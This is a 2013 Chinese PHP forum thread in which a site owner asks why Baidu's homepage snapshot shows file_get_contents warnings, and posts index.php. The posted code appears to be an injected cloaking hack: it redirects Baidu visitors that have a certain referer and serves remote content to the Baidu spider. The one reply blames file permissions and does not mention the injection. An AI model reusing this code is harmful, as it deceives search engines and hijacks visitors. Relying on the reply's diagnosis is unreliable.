注册 登录
编程论坛 PHP技术论坛

百度首页快照显示代码,内容不更新,其它搜索引擎正常收录。网站可以正常访问

sen1010 发布于 2013-12-21 11:39, 1838 次点击
首页百度快照如下

Warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in E:\www\web\\wwwroot\index.php on line 17

Warning: file_get_contents(http://www.) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in E:\www\web\\wwwroot\index.php on line 17



----------------------------

index.php 前20行内容如下

<?php
@session_start();
require('./include/conn.php');
$_SESSION['countinfo'] = isset($_SESSION['countinfo']) ? $_SESSION['countinfo'] + 1 : 1;
$seoInfo = $db->sql('select * from web_seo where sid = 1');

$file="http://www.
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);

if(strstr($referer,"baidu")&&strstr($referer,"456"))
{
   Header("Location: $url");
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))
{
 $content=file_get_contents($file);    第17行
 echo $content;
 exit;
}



首页快照更新后还是显示这样

1 回复
#2
赤那2013-12-25 12:00
权限问题
1